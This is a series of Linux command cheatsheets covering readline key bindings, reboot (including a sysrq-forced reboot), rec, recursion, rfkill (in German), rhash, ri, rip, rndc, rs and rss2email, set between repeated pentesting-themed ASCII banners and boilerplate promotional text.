Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rclone in a clear format. This allows users to quickly access the needed information for rclone without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rclone are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
149 - 🖥️readline
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the readline command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗ █████╗ ██████╗ ██╗ ██╗███╗ ██╗███████╗
# ██╔══██╗██╔════╝██╔══██╗██╔══██╗██║ ██║████╗ ██║██╔════╝
# ██████╔╝█████╗ ███████║██║ ██║██║ ██║██╔██╗ ██║█████╗
# ██╔══██╗██╔══╝ ██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝
# ██║ ██║███████╗██║ ██║██████╔╝███████╗██║██║ ╚████║███████╗
# ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝╚═╝ ╚═══╝╚══════╝
Moving around
Ctrl-b Move the cursor one character ⇦ to the left
Ctrl-f Move the cursor one character ⇨ to the right
Alt-b Move the cursor one word ⇦ to the left
Alt-f Move the cursor one word ⇨ to the right
Ctrl-a Move the cursor ⇤ to the start of the line
Ctrl-e Move the cursor ⇥ to the end of the line
Ctrl-x-x Move the cursor ⇤⇥ to the start, and to the end again
Cut, copy and paste
Backspace Delete the character ⇦ to the left of the cursor
DEL
Ctrl-d Delete the character underneath the cursor
Ctrl-u Delete everything ⇤ from the cursor back to the line start
Ctrl-k Delete everything ⇥ from the cursor to the end of the line
Alt-d Delete word ⇨ until before the next word boundary
Ctrl-w Delete word ⇦ until after the previous word boundary
Ctrl-y Yank/Paste prev. killed text at the cursor position
Alt-y Yank/Paste prev. prev. killed text at the cursor position
History
Ctrl-p Move in history one line ⇧ before this line
Ctrl-n Move in history one line ⇩ after this line
Alt-> Move in history all the lines ⇩ to the line currently being entered
Ctrl-r Incrementally search the line history ⇧ backwardly
Ctrl-s Incrementally search the line history ⇩ forwardly
Ctrl-J End an incremental search
Ctrl-G Abort an incremental search and restore the original line
Alt-Ctrl-y Yank/Paste arg. 1 of prev. cmnd at the cursor position
Alt-.
Alt-_ Yank/Paste last arg of prev. cmnd at the cursor position
Undo
Ctrl-_
Ctrl-x
Ctrl-u Undo the last editing command; you can undo all the way back to an empty line
Alt-r Undo all changes made to this line
Ctrl-l Clear the screen, reprinting the current line at the top
Ctrl-l Clear the screen, reprinting the current line at the top
Completion
TAB Auto-complete a name
Alt-/ Auto-complete a name (without smart completion)
Alt-? List the possible completions of the preceeding text
Alt-* Insert all possible completions of the preceeding text
Transpose
Ctrl-t Transpose/drag char. before the cursor ↷ over the character at the cursor
Alt-t Transpose/drag word before the cursor ↷ over the word at/after the cursor
#==============================##==============================#
# CMD READLINE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command readline in a clear format. This allows users to quickly access the needed information for readline without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for readline are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
150 - 🖥️reboot
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the reboot command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗██████╗ ██████╗ ██████╗ ████████╗
# ██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
# ██████╔╝█████╗ ██████╔╝██║ ██║██║ ██║ ██║
# ██╔══██╗██╔══╝ ██╔══██╗██║ ██║██║ ██║ ██║
# ██║ ██║███████╗██████╔╝╚██████╔╝╚██████╔╝ ██║
# ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
# reboot
# Reboot the system.
# Reboot immediately:
reboot
# Reboot immediately without gracefully shutdown:
reboot -f
# Reboot without reboot
echo 1 > /proc/sys/kernel/sysrq
echo b > /proc/sysrq-trigger
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command reboot in a clear format. This allows users to quickly access the needed information for reboot without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for reboot are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
151 - 🖥️rec
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rec command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗ ██████╗
# ██╔══██╗██╔════╝██╔════╝
# ██████╔╝█████╗ ██║
# ██╔══██╗██╔══╝ ██║
# ██║ ██║███████╗╚██████╗
# ╚═╝ ╚═╝╚══════╝ ╚═════╝
rec -t wav - | ssh user@remotehost play -t wav -
# Play local microphone on remote machine's speakers. Uses sox. Thx @lukeweston for idea.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rec in a clear format. This allows users to quickly access the needed information for rec without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rec are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
152 - 🖥️recursion
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the recursion command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗ ██████╗██╗ ██╗██████╗ ███████╗██╗ ██████╗ ███╗ ██╗
# ██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗██╔════╝██║██╔═══██╗████╗ ██║
# ██████╔╝█████╗ ██║ ██║ ██║██████╔╝███████╗██║██║ ██║██╔██╗ ██║
# ██╔══██╗██╔══╝ ██║ ██║ ██║██╔══██╗╚════██║██║██║ ██║██║╚██╗██║
# ██║ ██║███████╗╚██████╗╚██████╔╝██║ ██║███████║██║╚██████╔╝██║ ╚████║
# ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═══╝
# Recursion
# Def: "...is a method where the solution to a problem depends on solutions to smaller instance of the same problem.." - wiki
# TL;DR: a function that calls itself inside its body.
# Recursive programs - Pseduocode
function factorial:
input: integer n such that n >= 0
output: n * (n-1) * (n-2) * ... * 1 = n!
1. if n is 0, return 1
2. else, return ( n * factorial(n-1) )
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command recursion in a clear format. This allows users to quickly access the needed information for recursion without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for recursion are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
153 - 🖥️rfkill
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rfkill command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗
# ██╔══██╗██╔════╝██║ ██╔╝██║██║ ██║
# ██████╔╝█████╗ █████╔╝ ██║██║ ██║
# ██╔══██╗██╔══╝ ██╔═██╗ ██║██║ ██║
# ██║ ██║██║ ██║ ██╗██║███████╗███████╗
# ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝
rfkill: Drahlose Schnittstellen abfragen, ein- und ausschalten
Mit rfkill schalten Sie drahtlose Schnittstellen wie Bluetooth und WLAN aber auch UMTS ein und aus. Damit senken Sie den Stromverbrauch, was besonders bei Notebooks wichtig ist. Und vermeiden zudem unnötige Sicherheitslücken.
Rfkill list zeigt den Zustand aller drahtlosen Schnittstellen des Linux-Rechners an. Und zwar aufgetrennt danach, ob die betreffende Schnittstelle soft blocked oder hard blocked ausgeschaltet ist (oder eingeschaltet ist).
Mit "soft blocked" ist das Abschalten per Kommandobefehl rfkill gemeint. Rfkill block 0 schaltet zum Beispiel das WLAN ab, wenn der WLAN-Adapter in rfkill list mit 0 gekennzeichnet ist. Rfkill unblock 0 schaltet das WLAN wieder ein. Auf dem Screenshot oben demonstrieren wir das Ein- und Auschalten der WLAN- und Bluetooth-Apdater.
"Hard blocked" dagegen meint das Abschalten über den am Notebook angebrachten physischen WLAN-Schalter. "Hard blocked" übertrumpft immer "soft blocked".
#==============================##==============================#
# CMD RFKILL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rfkill in a clear format. This allows users to quickly access the needed information for rfkill without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rfkill are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
154 - 🖥️rhash
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rhash command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗ █████╗ ███████╗██╗ ██╗
# ██╔══██╗██║ ██║██╔══██╗██╔════╝██║ ██║
# ██████╔╝███████║███████║███████╗███████║
# ██╔══██╗██╔══██║██╔══██║╚════██║██╔══██║
# ██║ ██║██║ ██║██║ ██║███████║██║ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
# utility for computing hash sums https://sf.net/p/rhash/
# compute sha256 for a file and store checksum in a file:
rhash --sha256 file.txt > file.sha256
# verify the file(s):
rhash -c file.sha256
# Generate a SHA256 hash file for all files in a directory tree:
rhash -r --sha256 directory/ > directory.sha256
# Verify all .sha256 files in a directory tree:
rhash -cr --crc-accept=sha256 directory/
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rhash in a clear format. This allows users to quickly access the needed information for rhash without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rhash are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
155 - 🖥️ri
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ri command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗
# ██╔══██╗██║
# ██████╔╝██║
# ██╔══██╗██║
# ██║ ██║██║
# ╚═╝ ╚═╝╚═╝
# ri displays information about Ruby classes, modules, and methods
# show help for the File class
ri File
# show help for the File class on the stdout stream
# do not start a pager for it
ri --no-pager File
# show help for the File.directory? method
ri File.directory?
# start an interactive Ruby documentation repl
ri -i
# Generate the missing ri docs for all your installed gems
gem rdoc --all --ri --no-rdoc
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ri in a clear format. This allows users to quickly access the needed information for ri without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ri are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
156 - 🖥️rip
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rip command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗██████╗
# ██╔══██╗██║██╔══██╗
# ██████╔╝██║██████╔╝
# ██╔══██╗██║██╔═══╝
# ██║ ██║██║██║
# ╚═╝ ╚═╝╚═╝╚═╝
# regex into pattern
# convert stream in JSON
ls | rip '(.*)\.(.*)' '{"name": "$1", "ext": "$2"}'
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rip in a clear format. This allows users to quickly access the needed information for rip without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rip are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
157 - 🖥️rndc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rndc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███╗ ██╗██████╗ ██████╗
# ██╔══██╗████╗ ██║██╔══██╗██╔════╝
# ██████╔╝██╔██╗ ██║██║ ██║██║
# ██╔══██╗██║╚██╗██║██║ ██║██║
# ██║ ██║██║ ╚████║██████╔╝╚██████╗
# ╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝
sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
# Update zone file Serial numbers -> Will edit *.db files in the same directory with todays date. Useful for doing a mass update to domains on a nameserver, adding spf records, etc. Looks for a string starting with 200 or 201 followed by 7 numbers, and replaces with todays date. This won't overwrite Ip's but i would still do some double checking after running this. Make sure your server's date is correct, otherwise insert your own serial number.
rndc reload
# should usually follow this command.
rndc flush
# Empty Bind9 cache
# Occasionally, to force zone updating, cache flush is necessary. Use this command is better than restart the Bind9 process.
rndc reload linux.lxu.io
#==============================##==============================#
# CMD RNDC #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rndc in a clear format. This allows users to quickly access the needed information for rndc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rndc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
158 - 🖥️rs
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rs command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗
# ██╔══██╗██╔════╝
# ██████╔╝███████╗
# ██╔══██╗╚════██║
# ██║ ██║███████║
# ╚═╝ ╚═╝╚══════╝
# reshape data: number of rows and columns
jot 36 | rs 4 9
# 0 is a dummy value for either the row or column count
# (4 columns)
jot 36 | rs 0 4
# transpose output
jot 36 | rs -t 0 4
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rs in a clear format. This allows users to quickly access the needed information for rs without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rs are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
159 - 🖥️rss2email
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rss2email command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗███████╗██████╗ ███████╗███╗ ███╗ █████╗ ██╗██╗
# ██╔══██╗██╔════╝██╔════╝╚════██╗██╔════╝████╗ ████║██╔══██╗██║██║
# ██████╔╝███████╗███████╗ █████╔╝█████╗ ██╔████╔██║███████║██║██║
# ██╔══██╗╚════██║╚════██║██╔═══╝ ██╔══╝ ██║╚██╔╝██║██╔══██║██║██║
# ██║ ██║███████║███████║███████╗███████╗██║ ╚═╝ ██║██║ ██║██║███████╗
# ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝
'rss2email -- converts rss feeds and emails them to your inbox'
# List all feeds
r2e list
# Convert RSS entries to email
r2e run
# Add a new feed
r2e add <feed address>
# Add a new feed with new email address
r2e add <feed address> [newemail address]
# Delete a feed
r2e delete <# of feed in list/>
# Help
r2e -h
#==============================##==============================#
# CMD RSS2EMAIL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rss2email in a clear format. This allows users to quickly access the needed information for rss2email without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rss2email are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
